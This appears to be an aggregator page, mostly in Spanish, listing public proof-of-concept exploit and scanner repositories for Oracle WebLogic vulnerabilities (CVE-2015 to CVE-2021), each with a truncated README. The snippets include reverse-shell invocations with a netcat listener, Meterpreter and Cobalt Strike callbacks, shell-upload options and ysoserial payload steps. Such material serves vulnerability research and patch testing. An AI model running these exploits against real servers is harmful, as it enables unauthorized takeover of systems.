Weblogic_Vuln

Prefacio El artículo analiza en detalle las vulnerabilidades históricas de Weblogic desde CVE-2015 hasta CVE-2019, y organiza los POC relacionados en WeblogicVuln. Registra notas de aprendizaje sobre vulnerabilidades de deserialización de Java. Bienvenidos los start e issues. WeblogicVuln POC de...

CVE-2019-2729

CVE-2019-2729 Exploit code for CVE-2019-2729 Oracle Weblogic running on Windows. Can create a callback to a CobaltStrike listener or a Metasploit handler with payload windows/meterpreter/reversetcp Also have a non-beacon exploit that just executes commands on the underlying host. exploit.py. This...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 Ejecución de comandos con retorno de salida Subir shell directamente Probado en Linux con Weblogic 10.3.6.0 OK Uso y parámetros python weblogicwlswsatexp.py -t IP:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help...

ysoserial-cve-2018-2628

ysoserial-cve-2018-2628 0x1. Preparación Preparar el entorno de software necesario para el script POC, la generación de objetos Payload y la ejecución de JRMPListener Python 2.7.x Oracle Java SE 1.7+ Preparar un entorno de WebLogic Server 10.3.6 con el parche Patch Set Update 180417 instalado bas...

CVE-2021-2109

CVE-2021-2109 Replicación y análisis de la vulnerabilidad de ejecución remota de código en Weblogic Server En enero de 2021, Oracle publicó parches de seguridad que incluyen 329 nuevos parches de seguridad en la serie de productos Oracle. En este anuncio se mencionó especialmente el aviso de...

CVE-2018-2893

CVE-2018-2893 Puede obtener una shell inversa directamente Uso Escuchar nc -lvvp reverseport Enviar payload python weblogic.py targethost targetport reversehost reverseport Referencias bigsizeme pyn3rd Notas Solo para pruebas e intercambio de aprendizaje, no lo use para otros fines...

CVE-2018-3252

CVE-2018-3252-PoC 1.Generate PoC with YSOSERIAL 2.You should know the USERNAME and PASSWORD of the target weblogic server 3.Send the payload to the URL POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 Accept:...

CVE-2020-14882-WebLogic

This repository does not have a README...

CVE-2018-2893

CVE-2018-2893 Paso 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-2893.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @mbechler JRMPClient3 @mbechler JRMPClient4...

CVE-2020-14882

Script de prueba de WebLogic CVE-2020-14882 / CVE-2020-14883 Este proyecto proporciona un script Bash simple para probar si un servidor Oracle WebLogic es vulnerable a la evasión de autenticación CVE-2020-14882 y al vector asociado de ejecución remota de código CVE-2020-14883. El script envía una...

westone-CVE-2020-14883-scanner

westone-CVE-2020-14883-scanner Un atacante remoto puede construir una solicitud HTTP especial para tomar el control de la Consola del Servidor WebLogic sin autenticación. Instalación y Uso git clone https://github.com/Osyanina/westone-CVE-2020-14883-scanner.git cd westone-CVE-2020-14883-scanner c...

Exploit for Missing Authentication for Critical Function in Oracle Weblogic_Server

WebLogic wls-wsat XMLDecoder RCE CVE-2017-10271 Vulhubht...

CVE-2018-2628

weblogic getshell Optimizado en base a los scripts de predecesores para que el código pueda ejecutarse en Python 3 Principalmente en Windows Enlaces de referencia https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.zh-cn.md https://github.com/0xMJ/CVE-2018-2628 weblogic...

Oracle-WebLogic-CVE-2017-10271

Oracle-WebLogic-CVE-2017-10271 WebLogic wls-wsat RCE CVE-2017-10271 Descripción de la vulnerabilidad En los primeros días, los atacantes utilizaron la vulnerabilidad del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Un gran número de...

Weblogic_CVE-2020-14645

Weblogic CVE-2020-14645 coherence Deserialization Vulnerability Verification Program Environment Maven 3 JDK 1.8 Compilation mvn package Usage Specific testing steps: 1. Write the POC 2. Compile the POC into a class file 3. Start a static site to host the compiled POC 4. Start an LDAP proxy to...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - investigación por Jang Código por @s1kr10s Poc: Revisión / Vídeo: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...

CVE-2018-3191

Uso: java -jar weblogic-spring-jndi.jar Ejemplo: java -jar weblogic-spring-jndi.jar rmi://:1099/Object Nota: weblogic-spring-jndi-12.2.1.3.jar para weblogic: 12.2.1.3 weblogic-spring-jndi-10.3.6.0.jar para weblogic: 10.3.6.0 12.2.1.0 12.1.3.0 12.2.1.1...

weblogic-cve-2020-14882

Este repositorio no tiene un README...

CVE-2020-14883

CVE-2020-14883 Ejecución Remota de Código RCE Autenticada en Oracle WebLogic Server Vulnerabilidad en el producto Oracle WebLogic Server de Oracle Fusion Middleware componente: Console. Las versiones compatibles afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 y 14.1.1.0.0. Esta...

CVE-2019-2890

Descargo de responsabilidad Solo para fines de aprendizaje e intercambio; cualquier otro uso es bajo su propia responsabilidad. Instrucciones Los archivos jar relevantes ya se han importado al proyecto y el método de explotación utiliza el JRMP de yso; durante el aprendizaje y la depuración, pued...